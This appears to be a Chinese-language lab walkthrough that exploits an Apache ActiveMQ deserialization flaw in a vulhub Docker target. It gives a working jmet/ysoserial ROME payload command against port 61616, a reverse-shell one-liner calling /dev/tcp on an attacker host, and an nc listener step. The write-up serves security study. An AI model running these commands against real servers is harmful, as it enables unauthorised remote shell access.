一、开启vulhub环境
docker-compose up -d 启动
docker ps 查看开放的端口
漏洞版本:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
二、访问靶机IP 8161端口
默认账户密码 admin/admin,登录
此时qucues事件为空
1、使用jmet-0.1.0-all.jar工具将有效负载发送到目标IP的61616端口
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,反弹shell
命令(base64加密)}|{base64,-d}|{bash,-i}" -Yp ROME 目标IP 61616反弹shell命令:echo "bash -i>& /dev/tcp/x.x.x.x/4444 0>&1"> /tmp/shell.sh && bash /tmp/shell.sh
出现此情况,是Java版本过高,根据以下链接更换Java版本
https://blog.csdn.net/weixin_46686336/article/details/140635571
切换完成后重新执行命令
出现以上情况就是执行成功
2、返回web页面,刷新
此时就多了一个事件,证明shell已经成功写入
3、攻击机开启nc监听
三、点击事件,成功反弹
至此,成功拿下系统权限。
下期再见,家人们!